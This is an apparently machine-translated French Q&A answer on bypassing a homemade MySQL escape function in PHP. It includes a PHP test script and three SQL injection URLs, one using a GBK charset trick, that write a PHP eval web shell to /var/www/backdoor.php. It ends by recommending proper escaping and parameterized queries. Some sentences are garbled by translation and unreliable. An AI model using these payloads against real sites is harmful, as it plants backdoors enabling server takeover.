Mysql
 sql >> Base de données >  >> RDS >> Mysql

Trouvé une fonction d'échappement faible pour MySql, comment l'exploiter ?

Si vous êtes juste remplaçant ' avec '' alors vous pourriez exploiter cela en injectant un \' qui se transformera en un \'' et cela vous permettra d'éclater car cela vous donne un guillemet simple "littéral de caractère" et un vrai guillemet simple. Cependant, le remplacement de "\\" avec "\\\\" annule cette attaque. Le double guillemet simple est utilisé pour "échapper" les guillemets simples pour MS-SQL, mais ce n'est pas approprié pour MySQL, mais cela peut fonctionner.

Les codes suivants prouvent que cette fonction d'échappement est sûre pour tous sauf trois conditions . Ce code permute toutes les variantes possibles des chartes de contrôle et teste chacune d'entre elles pour s'assurer qu'une erreur ne se produit pas avec une instruction select entourée de guillemets simples. Ce code a été testé sur MySQL 5.1.41.

<?php
mysql_connect("localhost",'root','');
function escape($value) {

  $value = str_replace("'","''",$value);
  $value = str_replace("\\","\\\\",$value);
  return $value;

}

$chars=array("'","\\","\0","a");

for($w=0;$w<4;$w++){
    for($x=0;$x<4;$x++){
        for($y=0;$y<4;$y++){
            for($z=0;$z<4;$z++){
                mysql_query("select '".escape($chars[$w].$chars[$x].$chars[$y].$chars[$z])."'") or die("!!!! $w $x $y $z ".mysql_error());
            }       
        }
    }
}
print "Escape function is safe :(";
?>

Condition de vulnérabilité 1 :aucun guillemet utilisé.

mysql_query("select username from users where id=".escape($_GET['id']));

Exploiter :

http://localhost/sqli_test.php?id=union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php"

Condition de vulnérabilité 2 :guillemets doubles utilisés

mysql_query("select username from users where id=\"".escape($_GET['id'])."\"");

Exploiter :

http://localhost/sqli_test.php?id=" union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php" -- 1

Condition de vulnérabilité 2 :des guillemets simples sont utilisés, mais un un autre jeu de caractères est utilisé. .

mysql_set_charset("GBK")
mysql_query("select username from users where id='".escape($_GET['id'])."'");

Exploiter :

http://localhost/sqli_test.php?id=%bf%27 union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php" -- 1

La conclusion est de toujours utiliser mysql_real_escape_string() comme routine d'échappement pour MySQL. Les bibliothèques de requêtes paramétrées comme pdo et adodb utilisent toujours mysql_real_escape_string() lorsqu'il est connecté à une base de données mysql. addslashes() est BIEN MIEUX d'une routine d'échappement car elle prend en charge la condition vulnérable 2. Il convient de noter que même mysql_real_escape_string() arrêtera la condition 1, mais une bibliothèque de requêtes paramétrée le fera.